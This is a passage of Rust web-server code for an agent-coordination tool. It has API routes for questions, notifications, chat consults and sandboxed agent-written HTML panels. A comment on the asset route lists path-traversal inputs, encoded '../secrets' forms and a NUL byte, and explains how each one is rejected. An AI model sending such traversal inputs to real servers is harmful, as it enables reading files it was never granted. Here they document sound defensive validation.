7229    if !comparison.matches_detail(&question.detail) {
7230        return None;
7231    }
7232    let mut ids = std::collections::BTreeSet::new();
7233    if comparison.fields.is_empty()
7234        || comparison
7235            .fields
7236            .iter()
7237            .flat_map(|f| &f.pairs)
7238            .any(|p| !ids.insert(p.id))
7239        || comparison
7240            .fields
7241            .iter()
7242            .flat_map(|f| &f.original_triggers)
7243            .any(|t| !ids.insert(t.id))
7244    {
7245        return None;
7246    }
7247    let fields = comparison
7248        .fields
7249        .iter()
7250        .map(|f| f.view(comparison.excerpt))
7251        .collect::<Option<Vec<_>>>()?;
7252    Some(PostingView {
7253        before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
7254        after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
7255        fields,
7256    })
7257}
7258
7259impl QuestionView {
7260    /// The view of `question`, reading who is waiting on it from `store`.
7261    ///
7262    /// `holder` needs the lease sidecar, which is why this is not a `From`.
7263    fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
7264        let base = md::ImageBase::QuestionPanel {
7265            id: question.id.clone(),
7266        };
7267        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
7268        Self {
7269            choice_effects: question
7270                .choices
7271                .iter()
7272                .filter_map(|c| {
7273                    crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
7274                })
7275                .collect(),
7276            record_revision: question_record_revision(&question),
7277            detail_md: md::to_nodes(&question.detail, &base),
7278            posting_view: posting_view(&question, &base),
7279            thread_bodies_md: question
7280                .thread
7281                .iter()
7282                .map(|t| md::to_nodes(&t.body, &base))
7283                .collect(),
7284            thread_notes_md: question
7285                .thread
7286                .iter()
7287                .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
7288                .collect(),
7289            deputy_exhausted: store.deputy_exhausted(&question),
7290            waiting_on_agent: question.waiting_on_agent(),
7291            holder,
7292            deputies_enabled: deputies_enabled(cfg, &question),
7293            text_delivery: crate::question_delivery::availability(store, &question, cfg),
7294            run_is_task: question.run_names_task(),
7295            origin_chat: None,
7296            origin_chat_closed: false,
7297            can_consult_chat: false,
7298            question,
7299        }
7300    }
7301
7302    /// Fill `origin_chat` from the queue and the talks.
7303    fn with_origin(
7304        mut self,
7305        tasks: &[crate::queue::Task],
7306        talks: &[Talk],
7307        watches: &[crate::release_watch::WatchState],
7308    ) -> Self {
7309        let consult = crate::consult::origin_talk(tasks, talks, &self.question);
7310        self.can_consult_chat = consult.is_some();
7311        let talk =
7312            crate::consult::associated_talk_with_watches(tasks, talks, &self.question, watches);
7313        self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
7314        self.origin_chat = talk.map(|t| t.id);
7315        self
7316    }
7317}
7318
7319/// The config this repository resolves, or `None` when it cannot be read.
7320/// Discovering is git processes plus a config render, so a request that needs
7321/// it for many items takes it once and passes it down.
7322fn deputy_config(repo: &std::path::Path) -> Option<Config> {
7323    Config::discover(repo, None).ok().map(|(c, _)| c)
7324}
7325
7326/// Can `magi serve` start a deputy for this question under `cfg`?
7327fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
7328    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
7329}
7330
7331/// The views `GET /api/questions` answers. `load` runs at most once, however
7332/// many questions there are, and not at all when there are none.
7333fn question_views(
7334    qs: Vec<Question>,
7335    store: &ask::Questions,
7336    load: impl FnOnce() -> Option<Config>,
7337) -> Vec<QuestionView> {
7338    if qs.is_empty() {
7339        return Vec::new();
7340    }
7341    let cfg = load();
7342    qs.into_iter()
7343        .map(|q| QuestionView::of(q, store, cfg.as_ref()))
7344        .collect()
7345}
7346
7347/// Who is honestly waiting on an open question right now: `"asker"` (the
7348/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
7349/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
7350/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
7351/// up, or the question never had anyone listening (a conductor question or a
7352/// merge approval from before deputies, or not yet given one).
7353///
7354/// `None` for a question that is settled, and for one that is not an agent's
7355/// to wait on at all (a release notice).
7356fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
7357    if !q.status.open() {
7358        return None;
7359    }
7360    if q.cwd.is_none()
7361        && q.deputy.is_none()
7362        && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
7363    {
7364        return crate::deputy::kind_of(q).map(|_| "nobody");
7365    }
7366    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
7367        Some(_) if q.deputy.is_some() => "deputy",
7368        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
7369        Some(_) => "asker",
7370        None => "nobody",
7371    })
7372}
7373
7374/// `GET /api/questions`.
7375///
7376/// Everything, not just the open ones: an answered question is the record of a
7377/// decision, and the phone is where the operator goes back to check what they
7378/// told an agent at 3am. `ask::Questions::list` already ranks open first.
7379async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7380    blocking(move || {
7381        let questions = ui.questions.list();
7382        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7383        Ok(Json(
7384            question_views(questions, &ui.questions, || deputy_config(&ui.repo))
7385                .into_iter()
7386                .map(|view| view.with_origin(&tasks, &talks, &watches))
7387                .collect(),
7388        ))
7389    })
7390    .await
7391}
7392
7393/// Question content and answer controls never wait for task/chat provenance.
7394async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7395    blocking(move || {
7396        Ok(Json(question_views(
7397            ui.questions.list(),
7398            &ui.questions,
7399            || deputy_config(&ui.repo),
7400        )))
7401    })
7402    .await
7403}
7404
7405fn question_record_revision(question: &Question) -> String {
7406    use std::hash::{Hash as _, Hasher as _};
7407    let mut hash = std::hash::DefaultHasher::new();
7408    serde_json::to_vec(question)
7409        .expect("serializable question")
7410        .hash(&mut hash);
7411    format!("{:016x}", hash.finish())
7412}
7413
7414#[derive(Serialize)]
7415struct QuestionOriginView {
7416    id: String,
7417    record_revision: String,
7418    origin_chat: Option<String>,
7419    origin_chat_closed: bool,
7420    can_consult_chat: bool,
7421}
7422
7423async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
7424    blocking(move || {
7425        let questions = ui.questions.list();
7426        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7427        Ok(Json(
7428            questions
7429                .into_iter()
7430                .map(|question| {
7431                    let consult = crate::consult::origin_talk(&tasks, &talks, &question);
7432                    let can_consult_chat = consult.is_some();
7433                    let talk = crate::consult::associated_talk_with_watches(
7434                        &tasks, &talks, &question, &watches,
7435                    );
7436                    QuestionOriginView {
7437                        record_revision: question_record_revision(&question),
7438                        id: question.id,
7439                        origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
7440                        origin_chat: talk.map(|talk| talk.id),
7441                        can_consult_chat,
7442                    }
7443                })
7444                .collect(),
7445        ))
7446    })
7447    .await
7448}
7449
7450type QuestionOriginInputs = (Vec<Task>, Vec<Talk>, Vec<crate::release_watch::WatchState>);
7451
7452/// Only the task ancestry and chats these questions actually reference. Run
7453/// mappings share the reconciled queue index; exact task references bypass it.
7454/// No question means no task/chat I/O, including no index reconciliation.
7455fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<QuestionOriginInputs> {
7456    fn task_for_run(
7457        ui: &Ui,
7458        index: &mut Option<Vec<Arc<TaskRelation>>>,
7459        run: &str,
7460        loaded: &HashMap<String, Task>,
7461    ) -> ApiResult<Option<Task>> {
7462        if !plain_record_id(run) {
7463            return Ok(None);
7464        }
7465        if index.is_none() {
7466            *index = Some(ui.indexed_tasks()?);
7467        }
7468        Ok(index
7469            .as_ref()
7470            .expect("loaded index")
7471            .iter()
7472            .find(|task| task.runs.iter().any(|id| id == run))
7473            .and_then(|task| {
7474                loaded
7475                    .get(&task.id)
7476                    .cloned()
7477                    .or_else(|| ui.queue.get(&task.id).ok())
7478            })
7479            .filter(|task| task.runs.iter().any(|id| id == run)))
7480    }
7481    let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
7482        plain_record_id(id)
7483            .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
7484            .flatten()
7485            .filter(|task| task.id == id)
7486    };
7487    let watches = crate::release_watch::states_for_questions(&ui.home, questions);
7488    let mut index = None;
7489    let mut tasks = HashMap::new();
7490    let mut talks = HashMap::new();
7491    for question in questions {
7492        for reference in crate::consult::question_task_refs(question, &watches) {
7493            let mut current = match reference {
7494                crate::consult::QuestionTaskRef::Task(id) => direct_task(id, &tasks),
7495                crate::consult::QuestionTaskRef::Run(id) => {
7496                    task_for_run(ui, &mut index, id, &tasks)?
7497                }
7498            };
7499            let mut seen = HashSet::new();
7500            for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
7501                let Some(task) = current.take() else {
7502                    break;
7503                };
7504                if !seen.insert(task.id.clone()) {
7505                    break;
7506                }
7507                let chat = task.chat_talk().map(str::to_owned);
7508                let followup = task.followup.clone();
7509                tasks.insert(task.id.clone(), task);
7510                if let Some(chat) = chat {
7511                    if plain_record_id(&chat)
7512                        && !talks.contains_key(&chat)
7513                        && let Ok(talk) = ui.talks.get(&chat)
7514                    {
7515                        talks.insert(chat, talk);
7516                    }
7517                    break;
7518                }
7519                let Some(followup) = followup else {
7520                    break;
7521                };
7522                current = match followup.origin_task {
7523                    Some(id) => direct_task(&id, &tasks),
7524                    None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
7525                };
7526            }
7527        }
7528    }
7529    let mut tasks: Vec<Task> = tasks.into_values().collect();
7530    tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
7531    Ok((tasks, talks.into_values().collect(), watches))
7532}
7533
7534/// `GET /api/notifications`: not dismissed, newest first, with the unread
7535/// count so the badge and the list cannot disagree.
7536async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
7537    blocking(move || {
7538        let items = ui.notices.list();
7539        let unread = items.iter().filter(|n| n.unread()).count();
7540        let items: Vec<_> = items
7541            .into_iter()
7542            .map(|n| {
7543                let question = crate::notices::answerable_question(&n, &ui.questions);
7544                let mut item = serde_json::to_value(n)?;
7545                item["answerable_question"] = serde_json::json!(question);
7546                Ok(item)
7547            })
7548            .collect::<anyhow::Result<_>>()?;
7549        Ok(Json(
7550            serde_json::json!({ "unread": unread, "items": items }),
7551        ))
7552    })
7553    .await
7554}
7555
7556fn notice_error(e: anyhow::Error) -> ApiError {
7557    // An unknown or malformed id and a vanished file are the same answer to
7558    // the phone: that notification is gone.
7559    ApiError::not_found(format!("{e:#}"))
7560}
7561
7562/// `POST /api/notifications/{id}/read`.
7563async fn notification_read(
7564    State(ui): State<Arc<Ui>>,
7565    Path(id): Path<String>,
7566) -> ApiResult<Json<Notice>> {
7567    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
7568}
7569
7570/// `POST /api/notifications/{id}/dismiss`.
7571async fn notification_dismiss(
7572    State(ui): State<Arc<Ui>>,
7573    Path(id): Path<String>,
7574) -> ApiResult<Json<Notice>> {
7575    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
7576}
7577
7578/// `POST /api/notifications/read-all`.
7579async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
7580    blocking(move || {
7581        let changed = ui.notices.mark_all_read()?;
7582        Ok(Json(serde_json::json!({ "marked": changed })))
7583    })
7584    .await
7585}
7586
7587/// The body of `POST /api/questions/{id}/answer`.
7588///
7589/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
7590/// a bad request rather than a guess: an answer magi invented is worse than a
7591/// question left open.
7592#[derive(Debug, Default, Deserialize)]
7593#[serde(default, deny_unknown_fields)]
7594struct NewAnswer {
7595    choice: Option<String>,
7596    text: Option<String>,
7597    talk: Option<String>,
7598    head: Option<String>,
7599}
7600
7601async fn question_answer(
7602    State(ui): State<Arc<Ui>>,
7603    Path(id): Path<String>,
7604    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
7605) -> ApiResult<Json<QuestionView>> {
7606    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7607    let answer = match (body.choice, body.text) {
7608        (Some(c), None) => Answer::Choice(c),
7609        (None, Some(t)) => Answer::Text(t),
7610        (Some(_), Some(_)) => {
7611            return Err(ApiError::bad_request(
7612                "send either `choice` or `text`, not both",
7613            ));
7614        }
7615        (None, None) => {
7616            return Err(ApiError::bad_request("send a `choice` or a `text`"));
7617        }
7618    };
7619
7620    blocking(move || {
7621        let id = resolve_question(&ui.questions, &id)?;
7622        let q = ui
7623            .questions
7624            .get(&id)
7625            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
7626        if !q.status.open() {
7627            // Answered from the terminal, or by another phone, in between the
7628            // list and the tap. The UI shows the recorded answer rather than an
7629            // error, so it needs the record, not just the status.
7630            return Err(ApiError::conflict(format!(
7631                "question {} is already {}",
7632                q.short(),
7633                q.status.as_str()
7634            )));
7635        }
7636        // `Question::answer` owns the rules - an unoffered choice, free text on
7637        // a multiple-choice question, an empty reply - so the route does not
7638        // restate them and cannot drift from the CLI's behaviour.
7639        let cfg = deputy_config(&ui.repo);
7640        let (q, ()) = ui
7641            .questions
7642            .update(&q.id, |r| {
7643                anyhow::ensure!(
7644                    r.routed_task.is_none() || r.merge_target.is_some(),
7645                    "task decisions are free text in the task chat; its agent records them with `magi task control decide`"
7646                );
7647                let merge = matches!(&answer, ask::Answer::Choice(c)
7648                    if crate::consult::consent(r, c) == crate::consult::Consent::Merge);
7649                // Buttons retain their displayed chat/head binding. A direct
7650                // decision does not require a button or a prior persona offer.
7651                if r.routed_task.is_some() && r.merge_target.is_some() && merge
7652                    && (body.talk.is_some() || body.head.is_some())
7653                {
7654                    let talk_id = body.talk.as_deref().context("approval button requires its chat")?;
7655                    let head = body.head.as_deref().context("approval button requires the displayed head")?;
7656                    let talk = ui.talks.get(talk_id)?;
7657                    anyhow::ensure!(
7658                        talk.status.open(),
7659                        "approval chat is closed"
7660                    );
7661                    r.answer_chat_button(answer, talk_id, head)
7662                } else {
7663                    r.answer(answer)
7664                }
7665            })
7666            .map_err(ApiError::bad_request_from)?;
7667        let (tasks, talks, watches) =
7668            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
7669        Ok(Json(
7670            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
7671        ))
7672    })
7673    .await
7674}
7675
7676/// A dedicated status avoids the client's settled-question 409 handling.
7677fn question_text_error(e: anyhow::Error) -> ApiError {
7678    let reason = e
7679        .downcast_ref::<crate::question_delivery::TextUnavailable>()
7680        .map(|e| e.reason);
7681    let error = ApiError::bad_request_from(e);
7682    if let Some(reason) = reason {
7683        ApiError {
7684            text_reason: Some(reason),
7685            ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
7686        }
7687    } else {
7688        error
7689    }
7690}
7691
7692/// The body of `POST /api/questions/{id}/say`.
7693#[derive(Debug, Deserialize)]
7694#[serde(deny_unknown_fields)]
7695struct NewSay {
7696    body: String,
7697}
7698
7699/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
7700///
7701/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
7702/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
7703/// file, so there is no turn to serialize against and no
7704/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
7705/// is a *different* process - the run parked behind `magi ask` - and picks
7706/// the reply up on its own poll of the very same file, same as an answer
7707/// does.
7708async fn question_say(
7709    State(ui): State<Arc<Ui>>,
7710    Path(id): Path<String>,
7711    body: std::result::Result<Json<NewSay>, JsonRejection>,
7712) -> ApiResult<Json<QuestionView>> {
7713    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7714    blocking(move || {
7715        let id = resolve_question(&ui.questions, &id)?;
7716        let q = ui
7717            .questions
7718            .get(&id)
7719            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
7720        if !q.status.open() {
7721            // Same granularity as `question_answer`: answered or abandoned in
7722            // between the list and the tap is not this route's error to
7723            // explain any differently.
7724            return Err(ApiError::conflict(format!(
7725                "question {} is already {}",
7726                q.short(),
7727                q.status.as_str()
7728            )));
7729        }
7730        // `Question::say` owns the one rule that matters here - an empty
7731        // message tells the agent nothing - so the route does not restate it.
7732        let cfg = deputy_config(&ui.repo);
7733        let (q, ()) = ui
7734            .questions
7735            .update(&q.id, |r| {
7736                if body.body.trim().is_empty() {
7737                    return r.say(body.body);
7738                }
7739                crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
7740                r.say(body.body)
7741            })
7742            .map_err(question_text_error)?;
7743        let (tasks, talks, watches) =
7744            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
7745        Ok(Json(
7746            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
7747        ))
7748    })
7749    .await
7750}
7751
7752/// A disconnected request or a replacing listener cannot interrupt the short
7753/// transaction between persistence and detached worker publication.
7754async fn admitted<T: Send + 'static>(
7755    admission: AdmissionGuard,
7756    work: impl Future<Output = ApiResult<T>> + Send + 'static,
7757) -> ApiResult<T> {
7758    tokio::spawn(async move {
7759        let result = work.await;
7760        drop(admission);
7761        result
7762    })
7763    .await
7764    .map_err(|error| ApiError::internal(format!("work admission failed: {error}")))?
7765}
7766
7767/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
7768/// came from. The question stays open: the chat agent answers it with `magi
7769/// answer`, or puts the decision to the owner in the conversation.
7770///
7771/// Answers 202 and runs the turn in the background, like every route that
7772/// spends agent calls. The text is queued as a draft of the existing talk, and
7773/// the turn goes through the talk's own gate and session; no seat or waiter is
7774/// started here.
7775async fn question_consult(
7776    State(ui): State<Arc<Ui>>,
7777    Path(id): Path<String>,
7778) -> ApiResult<(StatusCode, Json<QuestionView>)> {
7779    let admission = ui.begin_admission()?;
7780    admitted(admission, async move {
7781        let (q, tasks, talks, watches, talk, cfg) = blocking({
7782            let ui = Arc::clone(&ui);
7783            move || {
7784                let id = resolve_question(&ui.questions, &id)?;
7785                let q = ui.questions.get(&id).map_err(|e| {
7786                    ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR)
7787                })?;
7788                if !q.status.open() {
7789                    return Err(ApiError::conflict(format!(
7790                        "question {} is already {}",
7791                        q.short(),
7792                        q.status.as_str()
7793                    )));
7794                }
7795                let (tasks, talks, watches) =
7796                    question_origin_inputs(&ui, std::slice::from_ref(&q))?;
7797                let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
7798                    return Err(ApiError::conflict(format!(
7799                        "question {} has no chat to ask",
7800                        q.short()
7801                    )));
7802                };
7803                // Read the config before `begin` saves anything: a failure here
7804                // must leave no consult record or draft behind, or a retry would
7805                // see `fresh == false` and never start the turn.
7806                let cfg = if q.consult.is_none() {
7807                    Some(Config::discover(&talk.repo, None)?.0)
7808                } else {
7809                    None
7810                };
7811                Ok((q, tasks, talks, watches, talk, cfg))
7812            }
7813        })
7814        .await?;
7815        let _publication = crate::consult::publication_guard(&ui.talks, &talk.id)
7816            .await
7817            .map_err(ApiError::from)?;
7818        let (view, reclaimed, submitted) = blocking({
7819            let ui = Arc::clone(&ui);
7820            move || {
7821                let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
7822                let claim = if fresh {
7823                    match ui.begin_queued_talk_turn(&talk.id)? {
7824                        Some(turn_guard) => {
7825                            let talk = ui.talks.get(&talk.id)?;
7826                            let cfg = match cfg {
7827                                Some(cfg) => cfg,
7828                                None => Config::discover(&talk.repo, None)?.0,
7829                            };
7830                            Some((talk, cfg, turn_guard))
7831                        }
7832                        None => None,
7833                    }
7834                } else {
7835                    None
7836                };
7837                let q = ui.questions.get(&q.id)?;
7838                let cfg = deputy_config(&ui.repo);
7839                let view = QuestionView::of(q, &ui.questions, cfg.as_ref())
7840                    .with_origin(&tasks, &talks, &watches);
7841                Ok((view, claim, fresh.then_some(talk.id)))
7842            }
7843        })
7844        .await?;
7845        #[cfg(not(test))]
7846        {
7847            if let Some(id) = submitted {
7848                crate::consult::spawn_turn(&ui.talks, &id)
7849                    .await
7850                    .map_err(ApiError::from)?;
7851            }
7852            drop(reclaimed);
7853        }
7854        #[cfg(test)]
7855        let _ = submitted;
7856        #[cfg(test)]
7857        if let Some((talk, cfg, turn_guard)) = reclaimed {
7858            let talks = ui.talks.clone();
7859            let id = talk.id.clone();
7860            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7861        }
7862        Ok((StatusCode::ACCEPTED, Json(view)))
7863    })
7864    .await
7865}
7866
7867/// Expand an id or short id to exactly one question id.
7868fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
7869    if plain_record_id(id) && store.path_of(id).is_file() {
7870        return Ok(id.to_owned());
7871    }
7872    pick(
7873        store.list().into_iter().map(|q| q.id).collect(),
7874        id,
7875        "question",
7876    )
7877}
7878
7879/// `GET /api/questions/{id}/panel`.
7880///
7881/// The panel an agent wrote for this question, as `text/html` under
7882/// [`PANEL_CSP`], for the front end to mount in a sandboxed iframe.
7883/// A question without one is a 404 rather than an empty page: the client
7884/// preflights this route with `HEAD` and must be able to tell "no panel" from
7885/// "a panel that rendered blank", and a sandboxed frame is opaque to the
7886/// parent document so it cannot tell the difference by looking.
7887///
7888/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
7889/// sanitises or minifies it - a sanitiser is a list of things someone thought
7890/// of, and the sandbox plus the CSP is a list of things that are allowed, which
7891/// is the direction that stays safe when an agent writes markup nobody
7892/// predicted.
7893async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
7894    blocking(move || {
7895        let id = resolve_question(&ui.questions, &id)?;
7896        let Some(html) = ui.questions.panel_html(&id) else {
7897            return Err(ApiError::not_found(format!("question {id} has no panel")));
7898        };
7899        Ok(panel_response(
7900            "text/html; charset=utf-8",
7901            false,
7902            html.into_bytes(),
7903        ))
7904    })
7905    .await
7906}
7907
7908/// `GET /api/questions/{id}/asset/{name}`.
7909///
7910/// One file from the question's own panel directory, so a panel can show a
7911/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
7912/// having to allow anything off this machine.
7913///
7914/// This is the only route in the server where a client names a file, so it is
7915/// the only one with a traversal surface, and the name is checked by
7916/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
7917/// what is worth being explicit about, because the answer is not "all of it in
7918/// one place":
7919///
7920/// * `asset/../../secrets` never reaches this handler at all. axum matches on
7921///   the raw request path and `{name}` spans exactly one segment, so a real
7922///   slash makes the request too long for the route and the router answers 404.
7923/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
7924///   percent-decodes path parameters, so `name` arrives as `../secrets` and
7925///   `..\secrets` respectively, which look like plain filenames to the router.
7926///   The validator refuses them here - both for the literal `..` and because
7927///   `/` and `\` are not in the permitted character set - and answers 400.
7928/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
7929///   the platform's path API is not, and it is refused here for the same
7930///   reason: NUL is not a permitted character.
7931/// * [`Questions::panel_asset`] validates again on read, so the check is not
7932///   load-bearing in only one place. This route's own check exists so the
7933///   failure is a 400 that says which name was wrong, rather than a store error
7934///   the operator has to interpret.
7935async fn question_asset(
7936    State(ui): State<Arc<Ui>>,
7937    Path((id, name)): Path<(String, String)>,
7938) -> ApiResult<Response> {
7939    // Before any filesystem work and before any path is built: a name this
7940    // server will not serve should not become a `PathBuf` at all.
7941    if !crate::ask::valid_asset_name(&name) {
7942        return Err(ApiError::bad_request(format!(
7943            "`{name}` is not a usable asset name"
7944        )));
7945    }
7946    blocking(move || {
7947        let id = resolve_question(&ui.questions, &id)?;
7948        let asset = ui
7949            .questions
7950            .panel_asset(&id, &name)
7951            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
7952        let Some(bytes) = asset else {
7953            return Err(ApiError::not_found(format!(
7954                "question {id} has no asset `{name}`"
7955            )));
7956        };
7957        Ok(panel_response(
7958            asset_content_type(&name),
7959            is_svg(&name),
7960            bytes,
7961        ))
7962    })
7963    .await
7964}
7965
7966/// Content type for a panel asset, from a closed whitelist.
7967///
7968/// A whitelist with an `application/octet-stream` fallback rather than a
7969/// guess, because the one answer that must never come out of here is
7970/// `text/html`. An agent that writes `notes.html` into its panel directory and
7971/// links it would otherwise get its own markup rendered at the top level of the
7972/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
7973/// magi's origin - which is precisely the thing the panel design exists to
7974/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
7975///
7976/// `nosniff` accompanies this on every response, so a browser cannot decide it
7977/// knows better than the type we sent.
7978fn asset_content_type(name: &str) -> &'static str {
7979    match extension(name).as_deref() {
7980        Some("png") => "image/png",
7981        Some("jpg" | "jpeg") => "image/jpeg",
7982        Some("gif") => "image/gif",
7983        Some("webp") => "image/webp",
7984        Some("svg") => "image/svg+xml",
7985        Some("css") => "text/css; charset=utf-8",
7986        Some("txt") => "text/plain; charset=utf-8",
7987        _ => "application/octet-stream",
7988    }
7989}
7990
7991/// Is this an SVG, and therefore a file that must never be opened at the top
7992/// level?
7993fn is_svg(name: &str) -> bool {
7994    extension(name).as_deref() == Some("svg")
7995}
7996
7997/// Lowercased extension, or `None` for a name without one.
7998fn extension(name: &str) -> Option<String> {
7999    name.rsplit_once('.')
8000        .map(|(_, ext)| ext.to_ascii_lowercase())
8001}
8002
8003/// Every panel response, with the four headers that make it safe and, for an
8004/// SVG, a fifth.
8005///
8006/// One function rather than a header list per handler, because a panel route
8007/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
8008/// model gone, silently, on one of two routes. Adding a third panel route later
8009/// means calling this, and there is nowhere else to build a panel response.
8010///
8011/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
8012/// as an `<img src>` inside the panel that script cannot run - but the asset
8013/// URL is also a plain URL an operator can be talked into opening in a tab,
8014/// where it is a document on magi's own origin. `Content-Disposition:
8015/// attachment` makes the browser download it instead of rendering it, which
8016/// closes that door without taking away the ability to draw a diff. Raster
8017/// images have no such execution surface and are left inline, so tapping a
8018/// screenshot still shows it.
8019fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
8020    let mut res = (
8021        [
8022            (header::CONTENT_TYPE, content_type),
8023            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
8024            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8025            (header::REFERRER_POLICY, "no-referrer"),
8026        ],
8027        body,
8028    )
8029        .into_response();
8030    if download {
8031        res.headers_mut().insert(
8032            header::CONTENT_DISPOSITION,
8033            HeaderValue::from_static("attachment"),
8034        );
8035    }
8036    res
8037}
8038
8039/// A talk as the phone reads it.
8040///
8041/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
8042/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
8043/// parses markdown itself - and the process-local `thinking` hint.
8044#[derive(Debug, Serialize)]
8045struct ChatApproval {
8046    question: String,
8047    target: crate::merge_decision::Target,
8048}
8049
8050#[derive(Debug, Serialize)]
8051struct TalkView {
8052    #[serde(flatten)]
8053    talk: Talk,
8054    turn_bodies_md: Vec<Vec<md::Node>>,
8055    /// Display-only Markdown, indexed by turn then message (legacy turns have one).
8056    turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
8057    pending_messages_md: Vec<Option<Vec<md::Node>>>,
8058    merge_approvals: Vec<ChatApproval>,
8059    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
8060    /// this server process.
8061    ///
8062    /// This is deliberately not durable: another server process cannot see
8063    /// it, and a restarted server must not claim an old turn is live. It is a
8064    /// progress hint rather than proof a reply landed; the transcript remains
8065    /// the source of truth for that.
8066    thinking: bool,
8067    /// Context-window usage, derived per request - see
8068    /// [`talk::context_usage`]. Carried on every talk response (list, detail
8069    /// and each mutation) so the phone needs no extra call or polling.
8070    context: talk::ContextUsage,
8071    /// `[talk] operator_name`, when configured; the Chat labels the
8072    /// operator's turns with it.
8073    operator_name: Option<String>,
8074    /// The active persona's display name; `None` for the default voice.
8075    persona_name: Option<String>,
8076    /// URL of the avatar for the conversation's persona (the default voice
8077    /// included). Server-built; a configured `icon` never reaches the client.
8078    persona_avatar: String,
8079    /// Operator avatar; display only and independent of repository config.
8080    operator_avatar: String,
8081    magi_avatar: String,
8082}
8083
8084impl TalkView {
8085    /// Reads the talk's repository config itself; a config that cannot be
8086    /// read leaves the window unknown but never fails the conversation.
8087    fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
8088        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8089        Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
8090    }
8091
8092    /// As [`Self::new`], with the config already in hand (the list reads one
8093    /// per repository, not one per conversation).
8094    fn with_config(
8095        talk: Talk,
8096        thinking: bool,
8097        cfg: Option<&Config>,
8098        home: &FsPath,
8099        cache: &id_links::IndexCache,
8100    ) -> Self {
8101        let references = cache.for_talk(home, &talk);
8102        Self::with_references(talk, thinking, cfg, home, &references)
8103    }
8104
8105    fn with_references(
8106        mut talk: Talk,
8107        thinking: bool,
8108        cfg: Option<&Config>,
8109        home: &FsPath,
8110        references: &id_links::IdIndex,
8111    ) -> Self {
